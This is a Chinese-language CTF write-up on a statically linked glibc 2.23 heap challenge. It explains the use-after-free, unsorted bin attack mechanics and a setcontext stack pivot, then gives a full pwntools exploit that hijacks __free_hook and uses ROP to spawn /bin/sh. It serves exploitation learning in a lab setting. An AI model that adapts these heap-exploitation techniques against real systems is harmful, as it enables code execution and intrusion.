实验平台:
x86_64, Ubuntu 16.04.7 LTS, Kernel 4.15.0-142-generic
GLIBC 2.23-0ubuntu11.3
实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/OtherBin/unsorted_bin
ELF安全性:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
amd64体系结构,GOT表可写,未开PIE。
经过ldd
查询,本题是一道静态链接的题目。libc已经静态链接到了程序内部。
下面是反编译后程序的主要部分:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]
init_0();
logo(argc, argv);
while ( 1 )
{
menu();
v3 = read_int_1();
switch ( v3 )
{
case 1:
add();
break;
case 2:
delete();
break;
case 3:
edit();
break;
}
}
}
__int64 __fastcall add(__int64 a1, __int64 a2)
{
unsigned int v3; // [rsp+Ch] [rbp-4h]
printf("id : ");
v3 = read_int_1();
if ( v3 > 2 )
exit(0LL);
data_0[v3] = malloc(256LL);
puts("your max payload size is 256 ");
printf("input : ");
read(0LL, data_0[v3], 256LL);
printf("your payload id:%p\n", (const void *)(data_0[v3] & 0xFFF));
puts("testing...");
return puts("finish");
}
__int64 __fastcall delete(__int64 a1, __int64 a2)
{
unsigned int v3; // [rsp+Ch] [rbp-4h]
printf("id : ");
v3 = read_int_1();
if ( v3 > 2 )
exit(0LL);
free(data_0[v3]); // Vulnerable
return puts("finish");
}
__int64 __fastcall edit(__int64 a1, __int64 a2)
{
unsigned int v3; // [rsp+Ch] [rbp-4h]
printf("id : ");
v3 = read_int_1();
if ( v3 > 2 )
exit(0LL);
if ( !data_0[v3] )
exit(0LL);
printf("input : ");
read(0LL, data_0[v3], 256LL);
puts("testing...");
return puts("finish");
}
问题点依然出在delete时出现了悬空指针导致了UAF。在本题中堆分配的大小为固定的0x100
,已经不属于FastBin范围了。虽然它属于SmallBin的范围,但本题目实际上是利用了UnsortedBin相关的Attack。
为了做这道题目,我们先来学习相应的知识。
各类Bin的大小范围
我们先来明确四类Bin所对应的Chunk大小范围(字节):
FastBin: 0x20 ~ 0x80 [32, 128]
SmallBin: 0x80 ~ 0x400 (128, 1024)
LargeBin: 0x400 ~ +oo [1024, +oo]
UnsortedBin: 任意
UnsortedBin Attack
UnsortedBin 中 Chunk 的来源[1]
-
当一个较大的Chunk被分割后,如果剩下的部分大于
MIN_CHUNK_SIZE
(体系结构相关),就会被放到Unsorted Bin中。 -
释放一个不属于FastBin大小范围的Chunk,并且该Chunk的虚拟地址不与Top Chunk相邻时,该Chunk会被首先放到UnsortedBin中。Top Chunk指的是堆上虚拟地址最高的最大块的Chunk。它独立于上文所述的4类Bin。当四类Bin中都没有可用的Chunk时,会在Top Chunk中划分出新的小Chunk返回给用户。
-
当进行
malloc_consolidate
时,如果合并后的Chunk不与Top Chunk的虚拟地址相邻的话,则会放到UnsortedBin中。malloc_consolidate
指的是释放FastBin中全部的Chunk并尝试将他们合并起来,从而减少内存碎片。
UnsortedBin 中 Chunk 的使用[1]
-
UnsortedBin在使用过程中,采用的遍历顺序是FIFO(队列),即插入的时候插入到UnsortedBin双向循环链表的的头部
fd
,取出的时候从链表尾bk
获取。相比较而言,FastBin则遵从FILO(栈)的遍历顺序。 -
在程序malloc时,如果在FastBin或SmallBin中找不到对应大小的Chunk,就会尝试从 UnsortedBin 中寻找Chunk。如果取出来的Chunk大小刚好满足,就会直接返回给用户,否则就会把这些Chunk分别插入到对应范围的Bin中。
struct malloc_state 中 bins 域的结构与使用
为了深刻理解UnsortedBin Attack的理论,我们必须先理解malloc_state
结构体中bins
域的结构与使用。
struct malloc_state
的定义[2]如下:
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
因为本题利用的点是UnsortedBin,因此我们也使用Bins中UnsortedBin对应的位置进行举例。
对于每一个非FastBin管理Chunk的Double Loop Linked List,都在bins
中有两个指针作为双向链表的头节点。
对于UnsortedBin这两个指针所在的位置恰好是bins[0]
和bins[1]
,分别代表了fd
和bk
。
ptmalloc的作者为方便偷懒起见,直接使用struct malloc_chunk
结构体来对这个不完整的头节点进行访问。可以参考malloc.c
中的宏unsorted_chunks(av)
,它被展开为((mbinptr) (((char *) &((av)->bins[((1) - 1) * 2])) - __builtin_offsetof(struct malloc_chunk, fd)))
。其中减去的offset一项就是为了访问fd
和bk
时能够有正确的偏移。
当链表为空时,UnsortedBin双向循环链表头节点的fd
和bk
都指向(char *)fd - 0x10
,即top
的位置。
下面以UnsortedBin Chain中存在一个Chunk为例,用ASCII图画来说明该链表的相关情况:
main_arena.bins[0:1]|.. chunk1
-------------------------------
| fd | bk | fd | bk |
-------------------------------
^ | | ^ | |
| -------------| |-----
------------------------
即main_arena.bins[0:1]
所对应的fd
和bk
全部指向chunk1
,chunk1
所对应的fd
和bk
全部指向main_arena.bins[0]
。
UnsortedBin Attack 原理
节选ptmalloc中的源代码:
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
...
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
...
可以看出,只要我们可以控制victim
(UnsortedBin List中的第一个数据节点)的bk
域(可以通过UAF达到),我们就可以向(void *)((char *)bck + 0x10)
地址中写入unsorted_chunks (av)
,也就是main_arena.top
。与此同时,我们还需要保证(void *)((char *)bck + 0x10)
当下为victim
的地址。
setcontext
setcontext
函数,原本是信号处理完成后,用来还原线程状态的。但它恰好给了我们一个利用方法,使得我们能够填充各个数据寄存器以及跳转控制流。
在本题目中,setcontext的代码如下:
.text:000000000040F4E0 public setcontext ; weak
.text:000000000040F4E0 setcontext proc near ; CODE XREF: a+9↑p
.text:000000000040F4E0 ; __unwind {
.text:000000000040F4E0 push rdi ; Alternative name is '__setcontext'
.text:000000000040F4E1 lea rsi, [rdi+128h] ; nset
.text:000000000040F4E8 xor edx, edx ; oset
.text:000000000040F4EA mov edi, 2 ; how
.text:000000000040F4EF mov r10d, 8 ; sigsetsize
.text:000000000040F4F5 mov eax, 0Eh
.text:000000000040F4FA syscall ; LINUX - sys_rt_sigprocmask
.text:000000000040F4FC pop rdi
.text:000000000040F4FD cmp rax, 0FFFFFFFFFFFFF001h
.text:000000000040F503 jnb __syscall_error
.text:000000000040F509 mov rcx, [rdi+0E0h]
.text:000000000040F510 fldenv byte ptr [rcx]
.text:000000000040F512 ldmxcsr dword ptr [rdi+1C0h]
.text:000000000040F519 mov rsp, [rdi+0A0h]
.text:000000000040F520 mov rbx, [rdi+80h]
.text:000000000040F527 mov rbp, [rdi+78h]
.text:000000000040F52B mov r12, [rdi+48h]
.text:000000000040F52F mov r13, [rdi+50h]
.text:000000000040F533 mov r14, [rdi+58h]
.text:000000000040F537 mov r15, [rdi+60h]
.text:000000000040F53B mov rcx, [rdi+0A8h]
.text:000000000040F542 push rcx
.text:000000000040F543 mov rsi, [rdi+70h]
.text:000000000040F547 mov rdx, [rdi+88h]
.text:000000000040F54E mov rcx, [rdi+98h]
.text:000000000040F555 mov r8, [rdi+28h]
.text:000000000040F559 mov r9, [rdi+30h]
.text:000000000040F55D mov rdi, [rdi+68h]
.text:000000000040F55D ; } // starts at 40F4E0
.text:000000000040F561 ; __unwind {
.text:000000000040F561 xor eax, eax
.text:000000000040F563 retn
.text:000000000040F563 ; } // starts at 40F561
.text:000000000040F563 setcontext endp
我们根据本函数的代码布局好内容,然后传入第一参数rdi即可利用之。
题目Exp
本题目的大致思路为,利用UnsortedBin Attack更改Top Chunk地址到data
数组上方。再次分配的堆块恰好能够覆盖data[0]
,向其中填入__free_hook
的地址。劫持free
函数到setcontext
处进行栈迁移。向栈上填入SysCall(execve)的各项参数,通过ROP调用之。
对于本道题目,我已写清楚详尽的英文注释。请结合题目Exp、上述思路、知识讲解及动手调试理解本Exp。
#!/usr/bin/env python2
# coding = utf-8
# Environment: Ubuntu 16.04
from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")
def send_choice(choice):
p.recvuntil('choose > ')
p.sendline(str(choice))
def new_data(id, data):
send_choice(1)
p.recvuntil('id : ')
p.sendline(str(id))
p.recvuntil('input : ')
p.send(data)
def delete_data(id):
send_choice(2)
p.recvuntil('id : ')
p.sendline(str(id))
def edit_data(id, data):
send_choice(3)
p.recvuntil('id : ')
p.sendline(str(id))
p.recvuntil('input : ')
p.send(data)
p = process('./unsorted_bin')
elf = ELF('./unsorted_bin')
# gdb.attach(p, '')
"""
Heap Layout:
|--------------------
|(UAF) Unsorted Chunk
|--------------------
|Using Chunk (Isolating)
|--------------------
|top chunk (Lefted)
|--------------------
"""
data_bss = 0x6CCBB0
new_data(0, 'a')
new_data(1, 'a')
delete_data(0) # UAF Chunk 0
"""
Unsorted Bin Attack:
Use After Free: Point UAF Chunk's ``*bk` to fake next free unsorted bin at `(char *)&data_bss - offset(fd, struct malloc_chunk)`;
The pointer at `data_bss` (aka `&data_bss[0]`) will point at `main_arena + 88`, aka macro `unsorted_chunks (main_arena)`,
aka `(char *)&main_arena.bins[0] - offset(fd, struct malloc_chunk)`, aka `main_arena.top`.
Reference: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
At malloc.c:3740, `(victim = unsorted_chunks (av)->bk)` as the first free unsorted bin;
At malloc.c:3742, `bck = victim->bk` as the second free unsorted bin which can be controlled via UAF;
At malloc.c:3797, the condition `bck->fd != victim` just magically satisfied.
At malloc.c:3799, `unsorted_chunks (av)->bk = bck` lead a next allocate from unsorted bin crashing the program
because of invalid size 0 at offset of bck->mchunk_size on `(char *)&data_bss - 0x8`;
At malloc.c:3800, ` bck->fd = unsorted_chunks (av)` write exactly on `&data_bss` with value `unsorted_chunks (av)`
which is `main_arena.top`.
"""
edit_data(0, p64(0) + p64(data_bss - 0x10))
"""
Fill `setcontext`'s argument in advance in the memory referenced by `data_bss[1]`,
which executes `system("/bin/sh")`.
The function `setcontext` mainly recover the register's value (including but not limited to Data Regs & IP),
then jump to the IP user specified.
Please understand them according to the exploit code's context.
"""
pop_rax_rdx_rbx_retn_addr = 0x480c06
"""
`execve`'s Prototype:
int execve(const char *pathname, char *const argv[], char *const envp[]);
Set RDI(First Arg, `pathname`) in SigReturnFrame, Corresponding to `&migrated_stack_payload`, whose content is "/bin/sh\x00".
Set RSI(Second Arg, `argv`) in SigReturnFrame, which must be `NULL`.
"""
setcontext_payload = '\x00' * 0x68 + p64(data_bss - 0xf0) + p64(0)
"""
Set RSP in SigReturnFrame, Corresponding to `(char *)&migrated_stack_payload + 0x10`,
whose content is `p64(SYS_execve_no) + p64(0) *2 + p64(syscall_addr)`,
which is prepared for the final EXECVE SysCall.
"""
setcontext_payload = setcontext_payload.ljust(0xa0, '\x00') + p64(data_bss - 0xe0)
# Set RIP in SigReturnFrame to do ROP in order to control RAX (SysCall_NO) and execute `syscall`.
setcontext_payload += p64(pop_rax_rdx_rbx_retn_addr)
new_data(1, setcontext_payload)
"""
The new top_chunk position which was choosen is exactly `(char *)&data_bss - 0x100`.
Note that every malloc_chunk size is 0x110 (Metadata 0x10 + User Mem 0x100).
In that case, we may overwrite `data_bss[0]` to get an arbitrary R/W. (We choose a `__free_hook`)
Meanwhile, `data_bss[2]` won't be corrupted because the top chunk after this alloc will only
write domain `mchunk_size` on `data_bss[3]`, which is meaningless to us.
(Reference: malloc.c:4099~4134)
"""
top_chunk = 0x6ccab0
last_reminder = 0
top_chunk_glibc_addr = 0x6cb858
"""
Note: We are editing content starting at `main_arena.top`.
Firstly, we can forge an arbitrary top chunk. The top chunk address was chosen according to the above reason.
Secondly, We have to clear(recover) unsorted bin's double linked list's header node due to Unsorted Bin Attack's side effect.
Recover condition (Reference: malloc.c:3740):
When `(victim = unsorted_chunks (av)->bk) == unsorted_chunks (av)`, the double linked list has no nodes.
So use `p64(top_chunk_glibc_addr) * 2` to overwrite the originals.
"""
edit_data(0, p64(top_chunk) + p64(last_reminder) + p64(top_chunk_glibc_addr) * 2)
syscall_addr = 0x40f4fa
SYS_execve_no = 59
"""
Layout the migrated Stack:
Corresponding to `setcontext_payload`'s RSP settings, respectively:
RDI -> SysCall execve's first argument C-String "/bin/sh"
'\x00' * 8 -> Useless Padding
RAX(SYS_execve_no) -> Syscall's NO: execve(59)
RDX(0) -> Syscall's third argument `envp`, which must be `NULL`
RBX(0) -> Useless Here
syscall_addr -> Invoke SysCall
"""
migrated_stack_payload = '/bin/sh\x00' + '\x00' * 8 + p64(SYS_execve_no) + p64(0) *2 + p64(syscall_addr)
# Write `__free_hook` on `data_bss[0]`
__free_hook_addr = 0x6cd608
migrated_stack_payload = migrated_stack_payload.ljust(0xf0, '\x00') + p64(__free_hook_addr)
new_data(2, migrated_stack_payload)
# Set `*__free_hook` to `setcontext`
setcontext_addr = 0x40f519
edit_data(0, p64(setcontext_addr))
delete_data(1)
"""
As a conclusion, invoking `free(data[1])` cause executing the following procedures:
free -> __free_hook -> setcontext_addr (to migrate stack on heap & place syscall's first & second arg) ->
# In this problem, one_gadget is not available.
pop_rax_rdx_rbx_retn_addr (place syscall's no, third arg, call syscall)
"""
p.interactive()
参考资料:
[1] https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/
[2] https://code.woboq.org/userspace/glibc/malloc/malloc.c.html